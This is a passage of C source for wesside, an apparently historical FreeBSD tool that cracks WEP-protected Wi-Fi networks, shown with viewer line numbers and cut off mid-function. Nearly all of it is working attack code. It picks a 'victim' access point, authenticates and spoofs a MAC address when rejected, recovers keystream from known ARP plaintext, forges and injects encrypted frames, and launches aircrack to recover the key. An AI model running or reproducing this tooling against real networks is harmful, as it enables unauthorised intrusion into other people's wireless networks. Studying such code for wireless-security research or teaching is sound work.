wesside.c revision 161030
1216294Ssyrinx/*
2216294Ssyrinx * wep owner by sorbo <sorbox@yahoo.com>
3216294Ssyrinx * Aug 2005
4216294Ssyrinx *
5216294Ssyrinx * XXX GENERAL: I DON'T CHECK FOR PACKET LENGTHS AND STUFF LIKE THAT and buffer
6216294Ssyrinx * overflows.  this whole thing is experimental n e way.
7216294Ssyrinx *
8216294Ssyrinx * $FreeBSD: head/tools/tools/net80211/wesside/wesside/wesside.c 161030 2006-08-07 00:05:04Z sam $
9216294Ssyrinx */
10216294Ssyrinx
11216294Ssyrinx#include <sys/types.h>
12216294Ssyrinx#include <sys/socket.h>
13216294Ssyrinx#include <sys/ioctl.h>
14216294Ssyrinx#include <sys/endian.h>
15216294Ssyrinx#include <sys/stat.h>
16216294Ssyrinx#include <sys/wait.h>
17216294Ssyrinx#include <sys/uio.h>
18216294Ssyrinx#include <net/if.h>
19216294Ssyrinx#include <net/if_media.h>
20216294Ssyrinx#include <net/if_llc.h>
21#include <net/if_arp.h>
22#include <net/if_types.h>
23#include <net/if_dl.h>
24#include <net/bpf.h>
25#include <net/ethernet.h>
26#include <net80211/ieee80211.h>
27#include <net80211/ieee80211_ioctl.h>
28#include <net80211/ieee80211_radiotap.h>
29#include <net80211/ieee80211_freebsd.h>
30#include <netinet/in.h>
31#include <netinet/in_systm.h>
32#include <netinet/ip.h>
33#include <netinet/udp.h>
34#include <arpa/inet.h>
35#include <stdlib.h>
36#include <stdio.h>
37#include <unistd.h>
38#include <string.h>
39#include <fcntl.h>
40#include <errno.h>
41#include <assert.h>
42#include <zlib.h>
43#include <signal.h>
44#include <stdarg.h>
45#include <err.h>
46
47#define FIND_VICTIM		0
48#define FOUND_VICTIM		1
49#define SENDING_AUTH		2
50#define GOT_AUTH		3
51#define SPOOF_MAC		4
52#define SENDING_ASSOC		5
53#define GOT_ASSOC		6
54
55int state = 0;
56
57struct timeval arpsend;
58
59struct tx_state {
60	int waiting_ack;
61	struct timeval tsent;
62	int retries;
63	unsigned int psent;
64} txstate;
65
66struct chan_info {
67	int s;
68	struct ieee80211req ireq;
69	int chan;
70} chaninfo;
71
72struct victim_info {
73	char* ssid;
74	int chan;
75	char bss[6];
76} victim;
77
78struct frag_state {
79	struct ieee80211_frame wh;
80	unsigned char* data;
81	int len;
82	unsigned char* ptr;
83	int waiting_relay;
84	struct timeval last;
85} fragstate;
86
87struct prga_info {
88	unsigned char* prga;
89	unsigned int len;
90	unsigned char iv[3];
91} prgainfo;
92
93struct decrypt_state {
94	unsigned char* cipher;
95	int clen;
96	struct prga_info prgainfo;
97	struct frag_state fragstate;
98} decryptstate;
99
100struct wep_log {
101	unsigned int packets;
102	unsigned int rate;
103	int fd;
104	unsigned char iv[3];
105} weplog;
106
107unsigned char* floodip = 0;
108unsigned short floodport = 6969;
109unsigned short floodsport = 53;
110
111unsigned char* netip = 0;
112
113unsigned char* rtrmac = 0;
114
115unsigned char mymac[] = "\x00\x00\xde\xfa\xce\x0d";
116unsigned char myip[16] = "192.168.0.123";
117
118int bits = 0;
119int ttl_val = 0;
120
121unsigned char *victim_mac = 0;
122
123int ack_timeout = 100*1000;
124
125#define ARPLEN (8+ 8 + 20)
126unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
127unsigned char ip_clear[] =  "\xAA\xAA\x03\x00\x00\x00\x08\x00";
128
129#define MCAST_PREF "\x01\x00\x5e\x00\x00"
130
131#define WEP_FILE "wep.log"
132#define PRGA_FILE "prga.log"
133
134unsigned int min_prga =  128;
135
136/*
137 * When starting aircrack we try first to use a
138 * local copy, falling back to where the installed
139 * version is expected.
140 * XXX builtin pathnames
141 */
142#define CRACK_LOCAL_CMD "../aircrack/aircrack"
143#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
144int thresh_incr = 100000;
145
146#define MAGIC_TTL_PAD 69
147
148int crack_dur = 60;
149int wep_thresh = 100000;
150int crack_pid = 0;
151struct timeval crack_start;
152struct timeval real_start;
153
154/* linksys does this.  The hardware pads small packets. */
155#define PADDED_ARPLEN 54
156
157#define PRGA_LEN (1500-14-20-8)
158unsigned char inet_clear[8+20+8+PRGA_LEN+4];
159
160#define DICT_PATH "dict"
161#define TAP_DEV "/dev/tap3"
162unsigned char tapdev[16];
163unsigned char taptx[4096];
164unsigned int taptx_len = 0;
165int tapfd = -1;
166
167/********** RIPPED
168************/
169unsigned short in_cksum (unsigned short *ptr, int nbytes) {
170  register long sum;
171  u_short oddbyte;
172  register u_short answer;
173
174  sum = 0;
175  while (nbytes > 1)
176    {
177      sum += *ptr++;
178      nbytes -= 2;
179    }
180
181  if (nbytes == 1)
182    {
183      oddbyte = 0;
184      *((u_char *) & oddbyte) = *(u_char *) ptr;
185      sum += oddbyte;
186    }
187
188  sum = (sum >> 16) + (sum & 0xffff);
189  sum += (sum >> 16);
190  answer = ~sum;
191  return (answer);
192}
193/**************
194************/
195
196unsigned int udp_checksum(unsigned char *stuff, int len, struct in_addr *sip,
197                          struct in_addr *dip) {
198        unsigned char *tmp;
199        struct ippseudo *ph;
200
201        tmp = (unsigned char*) malloc(len + sizeof(struct ippseudo));
202        if(!tmp)
203		err(1, "malloc()");
204
205        ph = (struct ippseudo*) tmp;
206
207        memcpy(&ph->ippseudo_src, sip, 4);
208        memcpy(&ph->ippseudo_dst, dip, 4);
209        ph->ippseudo_pad =  0;
210        ph->ippseudo_p = IPPROTO_UDP;
211        ph->ippseudo_len = htons(len);
212
213        memcpy(tmp + sizeof(struct ippseudo), stuff, len);
214
215        return in_cksum((unsigned short*)tmp, len+sizeof(struct ippseudo));
216}
217
218void time_print(char* fmt, ...) {
219        va_list ap;
220        char lame[1024];
221	time_t tt;
222	struct tm *t;
223
224        va_start(ap, fmt);
225        vsnprintf(lame, sizeof(lame), fmt, ap);
226        va_end(ap);
227
228	tt = time(NULL);
229
230	if (tt == (time_t)-1) {
231		perror("time()");
232		exit(1);
233	}
234
235	t = localtime(&tt);
236	if (!t) {
237		perror("localtime()");
238		exit(1);
239	}
240
241	printf("[%.2d:%.2d:%.2d] %s",
242	       t->tm_hour, t->tm_min, t->tm_sec, lame);
243}
244
245void check_key() {
246	char buf[1024];
247	int fd;
248	int rd;
249	struct timeval now;
250
251	fd = open("key.log", O_RDONLY);
252
253	if (fd == -1) {
254		return;
255	}
256
257	rd = read(fd, buf, sizeof(buf) -1);
258	if (rd == -1) {
259		perror("read()");
260		exit(1);
261	}
262
263	buf[rd] = 0;
264
265	close(fd);
266
267	printf ("\n\n");
268	time_print("KEY=(%s)\n", buf);
269
270	if (gettimeofday(&now, NULL) == -1) {
271		perror("gettimeofday()");
272		exit(1);
273	}
274
275	printf ("Owned in %.02f minutes\n",
276		((double) now.tv_sec - real_start.tv_sec)/60.0);
277	exit(0);
278}
279
280void kill_crack() {
281	if (crack_pid == 0)
282		return;
283
284	printf("\n");
285	time_print("Stopping crack PID=%d\n", crack_pid);
286
287	// XXX doesn't return -1 for some reason! [maybe on my box... so it
288	// might be buggy on other boxes...]
289	if (kill(crack_pid, SIGINT) == -1) {
290		perror("kill()");
291		exit(1);
292	}
293
294	crack_pid = 0;
295
296	check_key();
297}
298
299void cleanup(int x) {
300	time_print("\nDying...\n");
301
302	if (weplog.fd)
303		close(weplog.fd);
304
305	kill_crack();
306
307	exit(0);
308}
309
310void set_chan(int c) {
311	if (c == chaninfo.chan)
312		return;
313
314	chaninfo.ireq.i_val = c;
315
316	if (ioctl(chaninfo.s, SIOCS80211, &chaninfo.ireq) == -1) {
317		perror("ioctl(SIOCS80211) [chan]");
318		exit(1);
319	}
320	chaninfo.chan = c;
321}
322
323void setup_if(char *dev) {
324	int s;
325	struct ifreq ifr;
326	unsigned int flags;
327	struct ifmediareq ifmr;
328	int *mwords;
329
330	if(strlen(dev) >= IFNAMSIZ) {
331		time_print("Interface name too long...\n");
332		exit(1);
333	}
334
335	time_print("Setting up %s... ", dev);
336	fflush(stdout);
337
338	s = socket(PF_INET, SOCK_DGRAM, 0);
339	if (s == -1) {
340		perror("socket()");
341		exit(1);
342	}
343
344	// set iface up and promisc
345	memset(&ifr, 0, sizeof(ifr));
346	strcpy(ifr.ifr_name, dev);
347	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
348		perror("ioctl(SIOCGIFFLAGS)");
349		exit(1);
350	}
351
352	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
353	flags |= IFF_UP | IFF_PPROMISC;
354
355	memset(&ifr, 0, sizeof(ifr));
356	strcpy(ifr.ifr_name, dev);
357	ifr.ifr_flags = flags & 0xffff;
358	ifr.ifr_flagshigh = flags >> 16;
359	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
360		perror("ioctl(SIOCSIFFLAGS)");
361		exit(1);
362	}
363
364	// set monitor mode
365	memset(&ifmr, 0, sizeof(ifmr));
366	strcpy(ifmr.ifm_name, dev);
367	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
368		perror("ioctl(SIOCGIFMEDIA)");
369		exit(1);
370	}
371
372	if (ifmr.ifm_count == 0) {
373		time_print("0 media thinggies...\n");
374		exit(1);
375	}
376
377	mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
378	if (!mwords) {
379		perror("malloc()");
380		exit(1);
381	}
382	ifmr.ifm_ulist = mwords;
383
384	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
385		perror("ioctl(SIOCGIFMEDIA)");
386		exit(1);
387	}
388	free(mwords);
389
390	memset(&ifr, 0, sizeof(ifr));
391	strcpy(ifr.ifr_name, dev);
392	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
393	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) {
394		perror("ioctl(SIOCSIFMEDIA)");
395		exit(1);
396	}
397
398	// set chan
399	memset(&chaninfo.ireq, 0, sizeof(chaninfo.ireq));
400	strcpy(chaninfo.ireq.i_name, dev);
401	chaninfo.ireq.i_type = IEEE80211_IOC_CHANNEL;
402
403	chaninfo.chan = 0;
404	chaninfo.s = s;
405	set_chan(1);
406
407	printf("done\n");
408}
409
410int open_bpf(char *dev, int dlt) {
411        int i;
412        char buf[64];
413        int fd = -1;
414        struct ifreq ifr;
415
416        for(i = 0;i < 16; i++) {
417                sprintf(buf, "/dev/bpf%d", i);
418
419                fd = open(buf, O_RDWR);
420                if(fd < 0) {
421                        if(errno != EBUSY) {
422                                perror("can't open /dev/bpf");
423                                exit(1);
424                        }
425                        continue;
426                }
427                else
428                        break;
429        }
430
431        if(fd < 0) {
432                perror("can't open /dev/bpf");
433                exit(1);
434        }
435
436        strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1);
437        ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0;
438
439        if(ioctl(fd, BIOCSETIF, &ifr) < 0) {
440                perror("ioctl(BIOCSETIF)");
441                exit(1);
442        }
443
444        if (ioctl(fd, BIOCSDLT, &dlt) < 0) {
445                perror("ioctl(BIOCSDLT)");
446                exit(1);
447        }
448
449        i = 1;
450        if(ioctl(fd, BIOCIMMEDIATE, &i) < 0) {
451                perror("ioctl(BIOCIMMEDIATE)");
452                exit(1);
453        }
454
455        return fd;
456}
457
458void hexdump(unsigned char *ptr, int len) {
459        while(len > 0) {
460                printf("%.2X ", *ptr);
461                ptr++; len--;
462        }
463        printf("\n");
464}
465
466char* mac2str(unsigned char* mac) {
467	static char ret[6*3];
468
469	sprintf(ret, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
470		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
471
472	return ret;
473}
474
475void inject(int fd, void *buf, int len)
476{
477	static struct ieee80211_bpf_params params = {
478		.ibp_vers = IEEE80211_BPF_VERSION,
479		/* NB: no need to pass series 2-4 rate+try */
480		.ibp_len = sizeof(struct ieee80211_bpf_params) - 6,
481		.ibp_rate0 = 2,		/* 1 MB/s XXX */
482		.ibp_try0 = 1,		/* no retransmits */
483		.ibp_flags = IEEE80211_BPF_NOACK,
484		.ibp_power = 100,	/* nominal max */
485		.ibp_pri = WME_AC_VO,	/* high priority */
486	};
487	struct iovec iov[2];
488	int rc;
489
490	iov[0].iov_base = &params;
491	iov[0].iov_len = params.ibp_len;
492	iov[1].iov_base = buf;
493	iov[1].iov_len = len;
494	rc = writev(fd, iov, 2);
495	if(rc == -1) {
496		perror("writev()");
497		exit(1);
498	}
499	if (rc != (len + iov[0].iov_len)) {
500		time_print("Error Wrote %d out of %d\n", rc,
501			   len+iov[0].iov_len);
502		exit(1);
503	}
504}
505
506void send_frame(int tx, unsigned char* buf, int len) {
507	static unsigned char* lame = 0;
508	static int lamelen = 0;
509	static int lastlen = 0;
510
511	// retransmit!
512	if (len == -1) {
513		txstate.retries++;
514
515		if (txstate.retries > 10) {
516			time_print("ERROR Max retransmists for (%d bytes):\n",
517			       lastlen);
518			hexdump(&lame[0], lastlen);
519			exit(1);
520		}
521		len = lastlen;
522//		printf("Warning doing a retransmit...\n");
523	}
524	// normal tx
525	else {
526		assert(!txstate.waiting_ack);
527
528		if (len > lamelen) {
529			if (lame)
530				free(lame);
531
532			lame = (unsigned char*) malloc(len);
533			if(!lame) {
534				perror("malloc()");
535				exit(1);
536			}
537
538			lamelen = len;
539		}
540
541		memcpy(lame, buf, len);
542		txstate.retries = 0;
543		lastlen = len;
544	}
545
546	inject(tx, lame, len);
547
548	txstate.waiting_ack = 1;
549	txstate.psent++;
550	if (gettimeofday(&txstate.tsent, NULL) == -1) {
551		perror("gettimeofday()");
552		exit(1);
553	}
554
555#if 0
556	printf("Wrote frame at %lu.%lu\n",
557	       txstate.tsent.tv_sec, txstate.tsent.tv_usec);
558#endif
559}
560
561unsigned short fnseq(unsigned short fn, unsigned short seq) {
562        unsigned short r = 0;
563
564        if(fn > 15) {
565                time_print("too many fragments (%d)\n", fn);
566                exit(1);
567        }
568
569        r = fn;
570
571        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
572
573        return r;
574}
575
576void fill_basic(struct ieee80211_frame* wh) {
577	unsigned short* sp;
578
579	memcpy(wh->i_addr1, victim.bss, 6);
580	memcpy(wh->i_addr2, mymac, 6);
581	memcpy(wh->i_addr3, victim.bss, 6);
582
583
584
585	sp = (unsigned short*) wh->i_seq;
586	*sp = fnseq(0, txstate.psent);
587
588	sp = (unsigned short*) wh->i_dur;
589	*sp = htole16(32767);
590}
591
592void send_assoc(int tx) {
593	unsigned char buf[128];
594	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
595	unsigned char* body;
596	int ssidlen;
597
598	memset(buf, 0, sizeof(buf));
599	fill_basic(wh);
600	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
601
602	body = (unsigned char*) wh + sizeof(*wh);
603	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
604	// cap + interval
605	body += 2 + 2;
606
607	// ssid
608	*body++ = 0;
609	ssidlen = strlen(victim.ssid);
610	*body++ = ssidlen;
611	memcpy(body, victim.ssid, ssidlen);
612	body += ssidlen;
613
614	// rates
615	*body++ = 1;
616	*body++ = 4;
617	*body++ = 2;
618	*body++ = 4;
619	*body++ = 11;
620	*body++ = 22;
621
622	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2 +
623			    strlen(victim.ssid) + 2 + 4);
624}
625
626void wepify(unsigned char* body, int dlen) {
627	uLong crc;
628	unsigned long *pcrc;
629	int i;
630
631	assert(dlen + 4 <= prgainfo.len);
632
633	// iv
634	memcpy(body, prgainfo.iv, 3);
635	body +=3;
636	*body++ = 0;
637
638	// crc
639	crc = crc32(0L, Z_NULL, 0);
640	crc = crc32(crc, body, dlen);
641	pcrc = (unsigned long*) (body+dlen);
642	*pcrc = crc;
643
644	for (i = 0; i < dlen +4; i++)
645		*body++ ^= prgainfo.prga[i];
646}
647
648void send_auth(int tx) {
649	unsigned char buf[128];
650	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
651	unsigned short* n;
652
653	memset(buf, 0, sizeof(buf));
654	fill_basic(wh);
655	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
656
657	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
658	n++;
659	*n = 1;
660
661	send_frame(tx, buf, sizeof(*wh) + 2 + 2 + 2);
662}
663
664int get_victim_ssid(struct ieee80211_frame* wh, int len) {
665	unsigned char* ptr;
666	int x;
667	int gots = 0, gotc = 0;
668
669	if (len <= sizeof(*wh)) {
670		time_print("Warning: short packet in get_victim_ssid()\n");
671		return 0;
672	}
673
674	ptr = (unsigned char*)wh + sizeof(*wh);
675	len -= sizeof(*wh);
676
677	// only wep baby
678	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
679		return 0;
680	}
681
682	// we want a specific victim
683	if (victim_mac) {
684		if (memcmp(wh->i_addr3, victim_mac, 6) != 0)
685			return 0;
686	}
687
688	// beacon header
689	x = 8 + 2 + 2;
690	if (len <= x) {
691		time_print("Warning short.asdfasdf\n");
692		return 0;
693	}
694
695	ptr += x;
696	len -= x;
697
698	// SSID
699	while(len > 2) {
700		int eid, elen;
701
702		eid = *ptr;
703		ptr++;
704		elen = *ptr;
705		ptr++;
706		len -= 2;
707
708		if (len < elen) {
709			time_print("Warning short....\n");
710			return 0;
711		}
712
713		// ssid
714		if (eid == 0) {
715			if (victim.ssid)
716				free(victim.ssid);
717
718			victim.ssid = (char*) malloc(elen + 1);
719			if (!victim.ssid) {
720				perror("malloc()");
721				exit(1);
722			}
723
724			memcpy(victim.ssid, ptr, elen);
725			victim.ssid[elen] = 0;
726			gots = 1;
727
728		}
729		// chan
730		else if(eid == 3) {
731			if( elen != 1) {
732				time_print("Warning len of chan not 1\n");
733				return 0;
734			}
735
736			victim.chan = *ptr;
737			gotc = 1;
738		}
739
740		ptr += elen;
741		len -= elen;
742	}
743
744	if (gots && gotc) {
745		memcpy(victim.bss, wh->i_addr3, 6);
746		set_chan(victim.chan);
747		state = FOUND_VICTIM;
748		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
749		       victim.ssid, mac2str(victim.bss), victim.chan);
750		return 1;
751	}
752	return 0;
753}
754
755// XXX: acks don't work for now... too slow!
756void send_ack(int tx) {
757	unsigned char buf[64];
758	struct ieee80211_frame* wh;
759
760	return;
761
762	wh = (struct ieee80211_frame*) &buf[0];
763
764	memset(buf, 0, sizeof(buf));
765        wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
766	memcpy(wh->i_addr1, victim.bss, 6);
767
768	inject(tx, buf, 10);
769#if 0
770	{
771	struct timeval tv;
772	gettimeofday(&tv, NULL);
773
774	printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec);
775	}
776#endif
777}
778
779void do_llc(unsigned char* buf, unsigned short type) {
780	struct llc* h = (struct llc*) buf;
781
782	memset(h, 0, sizeof(*h));
783	h->llc_dsap = LLC_SNAP_LSAP;
784	h->llc_ssap = LLC_SNAP_LSAP;
785	h->llc_un.type_snap.control = 3;
786	h->llc_un.type_snap.ether_type = htons(type);
787}
788
789void calculate_inet_clear() {
790	struct ip* ih;
791	struct udphdr* uh;
792	uLong crc;
793	unsigned long *pcrc;
794	int dlen;
795
796	memset(inet_clear, 0, sizeof(inet_clear));
797
798	do_llc(inet_clear, ETHERTYPE_IP);
799
800	ih = (struct ip*) &inet_clear[8];
801	ih->ip_hl = 5;
802	ih->ip_v = 4;
803	ih->ip_tos = 0;
804	ih->ip_len = htons(20+8+PRGA_LEN);
805	ih->ip_id = htons(666);
806	ih->ip_off = 0;
807	ih->ip_ttl = ttl_val;
808	ih->ip_p = IPPROTO_UDP;
809	ih->ip_sum = 0;
810	inet_aton(floodip, &ih->ip_src);
811	inet_aton(myip, &ih->ip_dst);
812	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
813
814	uh = (struct udphdr*) ((char*)ih + 20);
815	uh->uh_sport = htons(floodport);
816	uh->uh_dport = htons(floodsport);
817	uh->uh_ulen = htons(8+PRGA_LEN);
818	uh->uh_sum = 0;
819        uh->uh_sum = udp_checksum((unsigned char*)uh, 8+PRGA_LEN,
820                                  &ih->ip_src, &ih->ip_dst);
821
822	// crc
823	dlen = 8 + 20 + 8 + PRGA_LEN;
824	assert (dlen + 4 <= sizeof(inet_clear));
825
826	crc = crc32(0L, Z_NULL, 0);
827	crc = crc32(crc, inet_clear, dlen);
828	pcrc = (unsigned long*) (inet_clear+dlen);
829	*pcrc = crc;
830
831#if 0
832	printf("INET %d\n", sizeof(inet_clear));
833	hexdump(inet_clear, sizeof(inet_clear));
834#endif
835}
836
837void set_prga(unsigned char* iv, unsigned char* cipher,
838	      unsigned char* clear, int len) {
839
840	int i;
841	int fd;
842
843	if (prgainfo.len != 0)
844		free(prgainfo.prga);
845
846	prgainfo.prga = (unsigned char*) malloc(len);
847	if (!prgainfo.prga) {
848		perror("malloc()");
849		exit(1);
850	}
851
852	prgainfo.len = len;
853	memcpy(prgainfo.iv, iv, 3);
854
855	for (i = 0; i < len; i++) {
856		prgainfo.prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
857				 	        clear[i]);
858	}
859
860	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
861	       prgainfo.len, prgainfo.iv[0], prgainfo.iv[1], prgainfo.iv[2]);
862	hexdump(prgainfo.prga, prgainfo.len);
863
864	if (!cipher)
865		return;
866
867	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
868		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
869
870	if (fd == -1) {
871		perror("open()");
872		exit(1);
873	}
874
875	i = write(fd, prgainfo.iv, 3);
876	if (i == -1) {
877		perror("write()");
878		exit(1);
879	}
880	if (i != 3) {
881		printf("Wrote %d out of %d\n", i, 3);
882		exit(1);
883	}
884
885	i = write(fd, prgainfo.prga, prgainfo.len);
886	if (i == -1) {
887		perror("write()");
888		exit(1);
889	}
890	if (i != prgainfo.len) {
891		printf("Wrote %d out of %d\n", i, prgainfo.len);
892		exit(1);
893	}
894
895	close(fd);
896}
897
898
899void log_dictionary(unsigned char* body, int len) {
900	char paths[3][3];
901	int i, rd;
902	int fd;
903	unsigned char path[128];
904	unsigned char file_clear[sizeof(inet_clear)];
905	unsigned char* data;
906
907	len -= 4; // IV etc..
908	assert (len == sizeof(inet_clear));
909
910	data = body +4;
911
912	if (len > prgainfo.len)
913		set_prga(body, data, inet_clear, len);
914
915
916	for (i = 0; i < 3; i++)
917		snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
918
919
920	strcpy(path, DICT_PATH);
921
922
923	// first 2 bytes
924	for (i = 0; i < 2; i++) {
925		strcat(path, "/");
926		strcat(path, paths[i]);
927		fd = open(path, O_RDONLY);
928		if (fd == -1) {
929			if (errno != ENOENT) {
930				perror("open()");
931				exit(1);
932			}
933
934			if (mkdir(path, 0755) == -1) {
935				perror("mkdir()");
936				exit(1);
937			}
938		}
939		else
940			close(fd);
941	}
942
943	// last byte
944	strcat(path, "/");
945	strcat(path, paths[2]);
946
947	fd = open(path, O_RDWR);
948	// already exists... see if we are consistent...
949	if (fd != -1) {
950		rd = read(fd, file_clear, sizeof(file_clear));
951
952		if (rd == -1) {
953			perror("read()");
954			exit(1);
955		}
956
957		// check consistency....
958		for (i = 0; i < rd; i++) {
959			if (file_clear[i] !=
960			    (data[i] ^ inet_clear[i])) {
961
962				printf("Mismatch in byte %d for:\n", i);
963				hexdump(body, len+4);
964				exit(1);
965			}
966		}
967
968		// no need to log
969		if (i >= sizeof(inet_clear)) {
970#if 0
971			time_print("Not logging IV %.2X:%.2X:%.2X cuz we got it\n",
972				body[0], body[1], body[2]);
973#endif
974			close(fd);
975			return;
976		}
977
978		// file has less... fd still open
979
980	} else {
981		fd = open(path, O_WRONLY | O_CREAT, 0644);
982		if (fd == -1) {
983			printf("Can't open (%s): %s\n", path,
984			       strerror(errno));
985			exit(1);
986		}
987	}
988
989	assert (sizeof(file_clear) >= sizeof(inet_clear));
990
991	for(i = 0; i < len; i++)
992		file_clear[i] = data[i] ^ inet_clear[i];
993
994	rd = write(fd, file_clear, len);
995	if (rd == -1) {
996		perror("write()");
997		exit(1);
998	}
999	if (rd != len) {
1000		printf("Wrote %d of %d\n", rd, len);
1001		exit(1);
1002	}
1003	close(fd);
1004}
1005
1006void stuff_for_us(struct ieee80211_frame* wh, int len) {
1007	int type,stype;
1008	unsigned char* body;
1009
1010	type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1011	stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1012
1013	body = (unsigned char*) wh + sizeof(*wh);
1014
1015	// CTL
1016	if (type == IEEE80211_FC0_TYPE_CTL) {
1017		if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
1018			txstate.waiting_ack = 0;
1019			return;
1020		}
1021
1022		if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
1023			return;
1024		}
1025
1026		if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
1027			return;
1028		}
1029		time_print ("got CTL=%x\n", stype);
1030		return;
1031	}
1032
1033	// MGM
1034	if (type == IEEE80211_FC0_TYPE_MGT) {
1035		if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
1036			unsigned short* rc = (unsigned short*) body;
1037			printf("\n");
1038			time_print("Got deauth=%u\n", le16toh(*rc));
1039			state = FOUND_VICTIM;
1040			return;
1041			exit(1);
1042		}
1043		else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
1044			unsigned short* sc = (unsigned short*) body;
1045
1046			if (*sc != 0) {
1047				time_print("Warning got auth algo=%x\n", *sc);
1048				exit(1);
1049				return;
1050			}
1051			sc++;
1052
1053			if (*sc != 2) {
1054				time_print("Warning got auth seq=%x\n", *sc);
1055				return;
1056			}
1057
1058			sc++;
1059
1060			if (*sc == 1) {
1061				time_print("Auth rejected... trying to spoof mac.\n");
1062				state = SPOOF_MAC;
1063				return;
1064			}
1065			else if (*sc == 0) {
1066				time_print("Authenticated\n");
1067				state = GOT_AUTH;
1068				return;
1069			}
1070			else {
1071				time_print("Got auth %x\n", *sc);
1072				exit(1);
1073			}
1074		}
1075		else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
1076			unsigned short* sc = (unsigned short*) body;
1077			sc++; // cap
1078
1079			if (*sc == 0) {
1080				sc++;
1081				unsigned int aid = le16toh(*sc) & 0x3FFF;
1082				time_print("Associated (ID=%x)\n", aid);
1083				state = GOT_ASSOC;
1084				return;
1085			} else {
1086				time_print("got assoc %x\n", *sc);
1087				exit(1);
1088			}
1089		} else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1090			return;
1091		}
1092
1093		time_print("\nGOT MAN=%x\n", stype);
1094		exit(1);
1095	}
1096
1097	if (type == IEEE80211_FC0_TYPE_DATA &&
1098	    stype == IEEE80211_FC0_SUBTYPE_DATA) {
1099		int dlen;
1100		dlen = len - sizeof(*wh) - 4 -4;
1101
1102		if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1103			time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1104				   mac2str(wh->i_addr2), dlen, stype);
1105				   return;
1106		}
1107
1108		assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1109
1110		if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1111			rtrmac = (unsigned char *) malloc(6);
1112			if (!rtrmac) {
1113				perror("malloc()");
1114				exit(1);
1115			}
1116
1117			assert( rtrmac > (unsigned char*) 1);
1118
1119			memcpy (rtrmac, wh->i_addr3, 6);
1120			time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1121
1122			return;
1123		}
1124#if 0
1125		// check if its a TTL update from dictionary stuff
1126		if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1127		    dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1128			int ttl_delta, new_ttl;
1129
1130			ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1131			new_ttl = 128 - ttl_delta;
1132
1133			if (ttl_val && new_ttl != ttl_val) {
1134				time_print("oops. ttl changed from %d to %d\n",
1135					   ttl_val, new_ttl);
1136				exit(1);
1137			}
1138
1139			if (!ttl_val) {
1140				ttl_val = new_ttl;
1141				printf("\n");
1142				time_print("Got TTL of %d\n", ttl_val);
1143				calculate_inet_clear();
1144			}
1145		}
1146
1147		// check if its dictionary data
1148		if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1149			log_dictionary(body, len - sizeof(*wh));
1150		}
1151#endif
1152	}
1153
1154#if 0
1155	printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1156		type, stype, mac2str(wh->i_addr2), len);
1157#endif
1158}
1159
1160void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1161	unsigned char* body;
1162	int bodylen;
1163	unsigned char clear[36];
1164	unsigned char* ptr;
1165	struct arphdr* h;
1166	int i;
1167
1168	body = (unsigned char*) wh+sizeof(*wh);
1169	ptr = clear;
1170
1171	// calculate clear-text
1172	memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1173	ptr += sizeof(arp_clear) -1;
1174
1175	h = (struct arphdr*)ptr;
1176	h->ar_hrd = htons(ARPHRD_ETHER);
1177        h->ar_pro = htons(ETHERTYPE_IP);
1178        h->ar_hln = 6;
1179        h->ar_pln = 4;
1180        h->ar_op = htons(ARPOP_REQUEST);
1181	ptr += sizeof(*h);
1182
